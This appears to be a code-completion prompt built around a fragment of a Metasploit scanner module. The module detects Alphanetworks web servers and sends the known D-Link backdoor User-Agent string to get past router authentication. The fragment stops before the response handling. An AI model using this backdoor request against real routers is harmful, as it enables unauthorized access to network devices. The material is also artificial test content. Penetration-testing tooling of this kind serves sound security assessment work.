You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: dlink_user_agent_backdoor.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/scanner/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://me
    
  def run_host(ip)

    if is_alpha_web_server?
      vprint_good("#{ip} - Alphanetworks web server detected")
    else
      vprint_error("#{ip} - Alphanetworks web server doesn't detected")
      return
    end

    begin
      res = send_request_cgi({
        'uri'     => '/',
        'method'  => 'GET',
        'agent' => 'xmlset_roodkcableoj28840ybtide'
      })
    rescue ::Rex::ConnectionError
      vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
      return
    end